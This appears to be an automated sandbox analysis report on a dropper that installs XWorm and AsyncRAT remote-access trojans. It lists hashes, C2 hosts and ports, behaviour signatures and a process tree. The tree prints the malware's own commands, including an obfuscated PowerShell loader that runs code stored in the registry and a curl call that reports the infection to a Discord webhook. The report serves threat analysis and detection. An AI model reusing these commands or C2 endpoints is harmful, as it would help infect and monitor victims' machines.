Analysis

  • max time kernel
    150s
  • max time network
    0s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    22-06-2024 05:30

General

  • Target

    Dropper.exe

  • Size

    1.4MB

  • MD5

    0db5ce13fa3f2058572801bbffcaa3f3

  • SHA1

    49580b807ee8e9a7bd4b7a045ceec6c93ae093dd

  • SHA256

    9639537e3aa2c1d7866a72856656b9afa4e6c761d7c6ae43a78e1075b38f3b8b

  • SHA512

    a46cbf5da20f09e514590e7de8f8e932427b15060724cd716c38e9e6b232003bcdf01db6dcf06300459c0386a7f3bbc2c6c354b578792e8b2ec13de4d1414f4b

  • SSDEEP

    12288:B0w1hc0Q53LOAGkjwtBx5n4AYakafNh/ymPj/YDLm7GylDULvEd8oK/mngAmgIv:BrmwDRPjwuB

Malware Config

Extracted

Family

xworm

C2

politics-fiber.gl.at.ply.gg:47430

Attributes
  • Install_directory

    %AppData%

  • install_file

    $77-scchost.exe

Extracted

Family

asyncrat

Botnet

Default

C2

environmental-blank.gl.at.ply.gg:25944

Attributes
  • delay

    1

  • install

    true

  • install_file

    $77-aachost.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect Xworm Payload 2 IoCs
  • Modifies security service 2 TTPs 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Async RAT payload 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 62 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:436
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{a21b25eb-539e-49b8-9dd2-a1d4c5f53eac}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2588
    • C:\Windows\system32\services.exe
      C:\Windows\system32\services.exe
      1⤵
        PID:484
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch
          2⤵
            PID:592
            • C:\Windows\system32\DllHost.exe
              C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
              3⤵
                PID:1712
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k RPCSS
              2⤵
                PID:672
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
                2⤵
                • Modifies security service
                PID:756
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
                2⤵
                  PID:804
                  • C:\Windows\system32\Dwm.exe
                    "C:\Windows\system32\Dwm.exe"
                    3⤵
                      PID:1128
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs
                    2⤵
                      PID:840
                      • C:\Windows\system32\taskeng.exe
                        taskeng.exe {ECC5C892-7EC0-4EB1-BB4B-9774F5A5B99C} S-1-5-18:NT AUTHORITY\System:Service:
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2400
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SO'+'F'+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+[Char](36)+'7'+[Char](55)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
                          4⤵
                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                          • Drops file in System32 directory
                          • Suspicious use of SetThreadContext
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:544
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalService
                      2⤵
                        PID:972
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k NetworkService
                        2⤵
                          PID:284
                        • C:\Windows\System32\spoolsv.exe
                          C:\Windows\System32\spoolsv.exe
                          2⤵
                            PID:1052
                          • C:\Windows\system32\taskhost.exe
                            "taskhost.exe"
                            2⤵
                              PID:1072
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
                              2⤵
                                PID:1176
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
                                2⤵
                                  PID:1736
                                • C:\Windows\system32\sppsvc.exe
                                  C:\Windows\system32\sppsvc.exe
                                  2⤵
                                    PID:2940
                                • C:\Windows\system32\lsass.exe
                                  C:\Windows\system32\lsass.exe
                                  1⤵
                                    PID:492
                                  • C:\Windows\system32\lsm.exe
                                    C:\Windows\system32\lsm.exe
                                    1⤵
                                      PID:500
                                    • C:\Windows\Explorer.EXE
                                      C:\Windows\Explorer.EXE
                                      1⤵
                                        PID:1152
                                        • C:\Users\Admin\AppData\Local\Temp\Dropper.exe
                                          "C:\Users\Admin\AppData\Local\Temp\Dropper.exe"
                                          2⤵
                                          • Loads dropped DLL
                                          • Suspicious use of WriteProcessMemory
                                          PID:2916
                                          • C:\Windows\SysWOW64\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c curl "https://discord.com/api/webhooks/1253936460533596222/A6HxzIjIDIKyWDj0ckcP1MgqmlK_CMtEmYhM4dwuWmPFk2q_02wySjZSHZuHPAmtdoBM" -X POST -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" -H "Accept: application/json" -H "Accept-Language: en" -H "Accept-Encoding: gzip, deflate, br" -H "Referer: https://discohook.org/" -H "Content-Type: application/json" -H "Origin: https://discohook.org" -H "Connection: keep-alive" -H "Sec-Fetch-Dest: empty" -H "Sec-Fetch-Mode: cors" -H "Sec-Fetch-Site: cross-site" -H "TE: trailers" --data-raw "{""content"":""`Admin` Ran The File!"",""embeds"":null,""avatar_url"":""https://us.rule34.xxx//samples/1568/sample_2462f27a30bcbb733609276995ca37d4a7c91a2d.jpg?10163103"",""attachments"":[]}"
                                            3⤵
                                              PID:2872
                                            • C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe
                                              "C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe"
                                              3⤵
                                              • Executes dropped EXE
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:2540
                                            • C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe
                                              "C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe"
                                              3⤵
                                              • Executes dropped EXE
                                              PID:2456
                                            • C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe
                                              "C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe"
                                              3⤵
                                              • Executes dropped EXE
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:2636
                                            • C:\Users\Admin\AppData\Local\Temp\$77-install.exe
                                              "C:\Users\Admin\AppData\Local\Temp\$77-install.exe"
                                              3⤵
                                              • Executes dropped EXE
                                              PID:2396
                                        • C:\Windows\system32\conhost.exe
                                          \??\C:\Windows\system32\conhost.exe "-2886199161402797966904758125-964041378-111430048614937478262578368031342322812"
                                          1⤵
                                            PID:2280
                                          • C:\Windows\system32\conhost.exe
                                            \??\C:\Windows\system32\conhost.exe "-13600568041519704366-7808701191735270432160028257112206212381203431390-1111462397"
                                            1⤵
                                              PID:1772

                                            Network

                                            MITRE ATT&CK Matrix ATT&CK v13

                                            Persistence

                                            Create or Modify System Process

                                            1
                                            T1543

                                            Windows Service

                                            1
                                            T1543.003

                                            Privilege Escalation

                                            Create or Modify System Process

                                            1
                                            T1543

                                            Windows Service

                                            1
                                            T1543.003

                                            Defense Evasion

                                            Modify Registry

                                            1
                                            T1112

                                            Discovery

                                            System Information Discovery

                                            1
                                            T1082

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            • \Users\Admin\AppData\Local\Temp\$77-aachost.exe
                                              Filesize

                                              66KB

                                              MD5

                                              f10712f4faa374be8f37668c5ebed4a6

                                              SHA1

                                              bb30e941c4f91ae3178539e993abecbfd838fdb0

                                              SHA256

                                              d66c793c2e3290b3996b54f5a2fc2c1973fc41677ec46ce0e0e30aa4e7916acf

                                              SHA512

                                              cb838ec3d65ca49bb25bd93e06666e6c2640c66fd0b68fc826ca763a3dedcc4d4033abab7cfca2fff3bf08ed98d14533abf19026fd9d1845dbf09fcb241840ac

                                            • \Users\Admin\AppData\Local\Temp\$77-install.exe
                                              Filesize

                                              163KB

                                              MD5

                                              1a7d1b5d24ba30c4d3d5502295ab5e89

                                              SHA1

                                              2d5e69cf335605ba0a61f0bbecbea6fc06a42563

                                              SHA256

                                              b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5

                                              SHA512

                                              859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa

                                            • \Users\Admin\AppData\Local\Temp\$77-penisballs.exe
                                              Filesize

                                              256KB

                                              MD5

                                              18f497deffe88b6b2cff336a277aface

                                              SHA1

                                              4e1413241d3d3e4dbff399d179f8fd64f3ecd39e

                                              SHA256

                                              8133c3c1e5dde7c9b4d9d5c9a07e37b733fd0223fc9d035c3f386f034a434af5

                                              SHA512

                                              35c804ec73001fe66d57bd2fadc51cd399edbc2e550c4257f29aac5a24a9f9c030c582d50239dec41605801263fd5739444aa14f9683f99f726152cc1bb6920d

                                            • \Users\Admin\AppData\Local\Temp\$77-sdchost.exe
                                              Filesize

                                              50KB

                                              MD5

                                              77a71f3a441aa3bf824967e52413bec5

                                              SHA1

                                              c3d6df5cfc5eefaadf9bcb3703484e3cadf79588

                                              SHA256

                                              1e6c87e492d90fbc4b9d2a16676a58735e33861f780c6c3020869337a0ccfc82

                                              SHA512

                                              31c413cb410b366b63f0e763e288c2795584f9c7fda41eeea45f7d32a853da87e3ab58a144ff02a75b1d1803c7fef9fe3d561133a50a4e600799ed6f9050fd5b

                                            • memory/436-62-0x000007FEBE7E0000-0x000007FEBE7F0000-memory.dmp
                                              Filesize

                                              64KB

                                            • memory/436-63-0x0000000037270000-0x0000000037280000-memory.dmp
                                              Filesize

                                              64KB

                                            • memory/436-53-0x0000000000B90000-0x0000000000BB5000-memory.dmp
                                              Filesize

                                              148KB

                                            • memory/436-55-0x0000000000C50000-0x0000000000C7B000-memory.dmp
                                              Filesize

                                              172KB

                                            • memory/436-51-0x0000000000B90000-0x0000000000BB5000-memory.dmp
                                              Filesize

                                              148KB

                                            • memory/436-61-0x0000000000C50000-0x0000000000C7B000-memory.dmp
                                              Filesize

                                              172KB

                                            • memory/436-54-0x0000000000C50000-0x0000000000C7B000-memory.dmp
                                              Filesize

                                              172KB

                                            • memory/484-69-0x0000000000190000-0x00000000001BB000-memory.dmp
                                              Filesize

                                              172KB

                                            • memory/484-75-0x0000000000190000-0x00000000001BB000-memory.dmp
                                              Filesize

                                              172KB

                                            • memory/484-76-0x000007FEBE7E0000-0x000007FEBE7F0000-memory.dmp
                                              Filesize

                                              64KB

                                            • memory/484-77-0x0000000037270000-0x0000000037280000-memory.dmp
                                              Filesize

                                              64KB

                                            • memory/492-91-0x0000000037270000-0x0000000037280000-memory.dmp
                                              Filesize

                                              64KB

                                            • memory/492-83-0x00000000000C0000-0x00000000000EB000-memory.dmp
                                              Filesize

                                              172KB

                                            • memory/492-89-0x00000000000C0000-0x00000000000EB000-memory.dmp
                                              Filesize

                                              172KB

                                            • memory/492-90-0x000007FEBE7E0000-0x000007FEBE7F0000-memory.dmp
                                              Filesize

                                              64KB

                                            • memory/500-97-0x00000000002F0000-0x000000000031B000-memory.dmp
                                              Filesize

                                              172KB

                                            • memory/544-35-0x000000001A090000-0x000000001A372000-memory.dmp
                                              Filesize

                                              2.9MB

                                            • memory/544-38-0x0000000077230000-0x00000000773D9000-memory.dmp
                                              Filesize

                                              1.7MB

                                            • memory/544-36-0x0000000000A50000-0x0000000000A58000-memory.dmp
                                              Filesize

                                              32KB

                                            • memory/544-37-0x0000000001400000-0x000000000142A000-memory.dmp
                                              Filesize

                                              168KB

                                            • memory/544-39-0x0000000077110000-0x000000007722F000-memory.dmp
                                              Filesize

                                              1.1MB

                                            • memory/2456-19-0x0000000000E00000-0x0000000000E16000-memory.dmp
                                              Filesize

                                              88KB

                                            • memory/2540-11-0x0000000001140000-0x0000000001152000-memory.dmp
                                              Filesize

                                              72KB

                                            • memory/2588-41-0x0000000140000000-0x0000000140008000-memory.dmp
                                              Filesize

                                              32KB

                                            • memory/2588-40-0x0000000140000000-0x0000000140008000-memory.dmp
                                              Filesize

                                              32KB

                                            • memory/2588-47-0x0000000077110000-0x000000007722F000-memory.dmp
                                              Filesize

                                              1.1MB

                                            • memory/2588-42-0x0000000140000000-0x0000000140008000-memory.dmp
                                              Filesize

                                              32KB

                                            • memory/2588-43-0x0000000140000000-0x0000000140008000-memory.dmp
                                              Filesize

                                              32KB

                                            • memory/2588-45-0x0000000140000000-0x0000000140008000-memory.dmp
                                              Filesize

                                              32KB

                                            • memory/2588-48-0x0000000140000000-0x0000000140008000-memory.dmp
                                              Filesize

                                              32KB

                                            • memory/2588-46-0x0000000077230000-0x00000000773D9000-memory.dmp
                                              Filesize

                                              1.7MB

                                            • memory/2636-33-0x00000000001D0000-0x00000000001D6000-memory.dmp
                                              Filesize

                                              24KB

                                            • memory/2636-27-0x00000000001F0000-0x0000000000236000-memory.dmp
                                              Filesize

                                              280KB

                                            • memory/2916-0-0x000000007443E000-0x000000007443F000-memory.dmp
                                              Filesize

                                              4KB

                                            • memory/2916-1-0x00000000001A0000-0x0000000000310000-memory.dmp
                                              Filesize

                                              1.4MB

                                            • memory/2916-223-0x000000007443E000-0x000000007443F000-memory.dmp
                                              Filesize

                                              4KB